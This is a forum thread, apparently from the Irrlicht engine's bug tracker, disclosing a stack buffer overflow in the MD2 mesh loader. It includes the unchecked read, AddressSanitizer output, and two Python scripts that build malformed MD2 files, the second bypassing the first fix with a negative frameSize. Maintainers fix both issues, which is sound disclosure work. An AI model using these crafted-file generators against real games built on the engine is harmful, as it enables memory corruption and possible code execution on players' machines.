[fixed]Stack buffer overflow in MD2 Parser

[procfs]

I found a stack buffer overflow in the MD2 file parser (source/Irrlicht/CMD2MeshFileLoader.cpp) in the latest SVN source. This means that every version of irrlicht is vulnerable to this bug.
A malformed MD2 file can be used to a game package developed on top of irrlicht and trigger arbitrary code execution on the victim.

1. The core of the bug is at line 244 of CMD2MeshFileLoader.cpp. It reads a userprovided amount of bytes on a fixed stack variable which is very dangerous.

Code: Select all

	u8 buffer[MD2_MAX_VERTS*4+128];
	SMD2Frame* frame = (SMD2Frame*)buffer;

	file->seek(header.offsetFrames);

	for (i = 0; i<header.numFrames; ++i)
	{
		// read vertices

		file->read(frame, header.frameSize);
		// do some processing on the data ...
	}

2. A proof of concept is below. I made a very simple program, which simply loads a file and parses it as mesh.

Code: Select all

#include <irrlicht.h>
using namespace irr;
using namespace core;
using namespace scene;

using namespace io;
int main(int argc, char **argv) {

    IrrlichtDevice *device =
		createDevice( video::EDT_SOFTWARE, dimension2d<u32>(640, 480), 16,
			false, false, false, 0);
	if (device == NULL || argc < 2) {
        return -1;
    }
	ISceneManager* smgr = device->getSceneManager();
	IAnimatedMesh* mesh = smgr->getMesh(argv[1]);
    return 0;
}

The result is this. (The execution environment is Ubuntu20.04 on Vmware, but I am very certain that this is irrelevant to the bug)

$ ./test ./exp.md2
Irrlicht Engine version 1.9.0
Linux 5.11.0-41-generic #45~20.04.1-Ubuntu SMP Wed Nov 10 10:20:10 UTC 2021 x86_64
Creating X window...
Using plain X visual
Visual chosen: : 33
Segmentation fault (core dumped)

To see what exactly caused the crash, I used address sanitizer to compile libIrrlict.a.

$ ./test exp.md2
processing data
=================================================================
==4297==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffe4f44320 at pc 0x000000494020 bp 0x7fffe4f42110 sp 0x7fffe4f418d8
WRITE of size 12288 at 0x7fffe4f44320 thread T0
#0 0x49401f in __asan_memcpy (/home/procfs/game-dev/test+0x49401f)
#1 0x4efe19 in irr::io::CMemoryFile::read(void*, unsigned int) /home/procfs/game-dev/irrlicht-1.8.5/source/Irrlicht/CMemoryFile.cpp:41:2
#2 0x4caa43 in irr::scene::CMD2MeshFileLoader::loadFile(irr::io::IReadFile*, irr::scene::CAnimatedMeshMD2*) /home/procfs/game-dev/irrlicht-1.8.5/source/Irrlicht/CMD2MeshFileLoader.cpp:246:9
#3 0x4c8604 in irr::scene::CMD2MeshFileLoader::createMesh(irr::io::IReadFile*) /home/procfs/game-dev/irrlicht-1.8.5/source/Irrlicht/CMD2MeshFileLoader.cpp:109:7
#4 0x4c6fbd in main (/home/procfs/game-dev/test+0x4c6fbd)
#5 0x7f7e2d1570b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#6 0x41c3dd in _start (/home/procfs/game-dev/test+0x41c3dd)

Address 0x7fffe4f44320 is located in stack of thread T0 at offset 8512 in frame
#0 0x4c86df in irr::scene::CMD2MeshFileLoader::loadFile(irr::io::IReadFile*, irr::scene::CAnimatedMeshMD2*) /home/procfs/game-dev/irrlicht-1.8.5/source/Irrlicht/CMD2MeshFileLoader.cpp:120

This frame has 10 object(s):
[32, 100) 'header' (line 124)
[144, 146) 'ref.tmp' (line 183)
[160, 162) 'ref.tmp34' (line 184)
[176, 178) 'ref.tmp38' (line 185)
[192, 8512) 'buffer' (line 238)
[8768, 8808) 'adata' (line 260) <== Memory access at offset 8512 partially underflows this variable
[8848, 8852) 'v' (line 301) <== Memory access at offset 8512 partially underflows this variable
[8864, 8888) 'box' (line 315) <== Memory access at offset 8512 partially underflows this variable
[8928, 8940) 'pos' (line 316) <== Memory access at offset 8512 partially underflows this variable
[8960, 8964) 'ref.tmp403' (line 347) <== Memory access at offset 8512 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/procfs/game-dev/test+0x49401f) in __asan_memcpy
Shadow bytes around the buggy address:
0x10007c9e0810: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007c9e0820: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007c9e0830: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007c9e0840: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007c9e0850: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x10007c9e0860: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x10007c9e0870: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x10007c9e0880: f2 f2 f2 f2 f8 f8 f8 f8 f8 f2 f2 f2 f2 f2 f8 f2
0x10007c9e0890: f8 f8 f8 f2 f2 f2 f2 f2 f8 f8 f2 f2 f8 f3 f3 f3
0x10007c9e08a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x10007c9e08b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==4297==ABORTING

I guess any more explanations would be unnecessary.

3. The exploit
exp.md2 is the malformed file that I wrote to crash. It was creating using the following python script. Basically I set frameSize to a size larger than MD2_MAX_VERTS*4+128 and appended lots of 'a's so that 'a's would overflow the stack.

Code: Select all

#!/usr/bin/python3
import struct

def p32(x):
    return struct.pack("<I", x)

if __name__ == "__main__":

    md2header = b""
    md2header += p32(844121161) # magic
    md2header += p32(8) # version
    md2header += p32(0) # skinWidth
    md2header += p32(0) # skinHeight
    md2header += p32(0x3000) # frameSize
    md2header += p32(0) # numSkins
    md2header += p32(0) # numVertices
    md2header += p32(1) # numTexcoords
    md2header += p32(1) # numTriangles
    md2header += p32(0) # numGlcommands
    md2header += p32(1) # numFrames
    md2header += p32(0) # offsetSkins
    md2header += p32(0) # offsetTexcoords
    md2header += p32(0) # offsetTriangles
    md2header += p32(68) # offsetFrames
    md2header += p32(0) # offsetGlCommands
    md2header += p32(0) # offsetEnd
    md2header += b"a" * 0x3000
    
    with open("exp2.md2", "wb") as f:
        f.write(md2header)
        

4. The fix
The fix is very obvious. Verify header.frameSize!!

[CuteAlien]

Thanks for reporting. Fixed in svn r6280 for 1.8 and r6271 for svn trunk.

[netpipe]

awesome work procfs, I hope its inspiration to look at other I/O portions of the engine. likely it will be used for mmo and online model sharing soon. I wonder if a model rewriter could possibly fix these issues where it loads then reexports the model file in some kinda sandbox.

[CuteAlien]

I did a quick hunt for similar cases, but didn't find this specific problem (I might simply have missed it). And I suspect image loaders probably might have their own share of problems - I know I can crash bmp loader for example with some bad bmp's which is usually also a bad sign (there's a test-suite on http://entropymine.com/jason/bmpsuite/b ... suite.html, badrle4ter.bmp, reallybig.bmp and rletopdown.bmp crashed last time I tested)
For any kind of model shadering I'd reduce it probably to 1-2 allowed formats and then go over the loader in detail.
But yeah - automatic reexporting might clean up some cases.

[procfs]

Hello again.
It seems the current fix is incomplete, since frameSize is a signed int and the check can be bypassed by passing a negative value. (such as 0xFFFFFFFF)
I think the check comparison should be an unsigned int comparison.

Here's a proof of concept code just in case.

Code: Select all

#!/usr/bin/python3
import struct

def p32(x):
    return struct.pack("<I", x)

if __name__ == "__main__":

    md2header = b""
    md2header += p32(844121161) # magic
    md2header += p32(8) # version
    md2header += p32(0) # skinWidth
    md2header += p32(0) # skinHeight
    md2header += p32(2**32-1) # frameSize
    md2header += p32(0) # numSkins
    md2header += p32(0) # numVertices
    md2header += p32(1) # numTexcoords
    md2header += p32(1) # numTriangles
    md2header += p32(0) # numGlcommands
    md2header += p32(1) # numFrames
    md2header += p32(0) # offsetSkins
    md2header += p32(0) # offsetTexcoords
    md2header += p32(0) # offsetTriangles
    md2header += p32(68) # offsetFrames
    md2header += p32(0) # offsetGlCommands
    md2header += p32(0) # offsetEnd
    md2header += b"a" * 0x3000
    
    with open("exp.md2", "wb") as f:
        f.write(md2header)
        

Thank you~

[CuteAlien]

Yeah, no fix ever so obvious that it can't be messed up *sigh*.
I've included negative numbers in the fail check (the int's come from the original format description, so don't want to change to unsigned).
Thanks for staying alert.
Fixed again now in r6276 (1.8 branch ) and r6277 (trunk).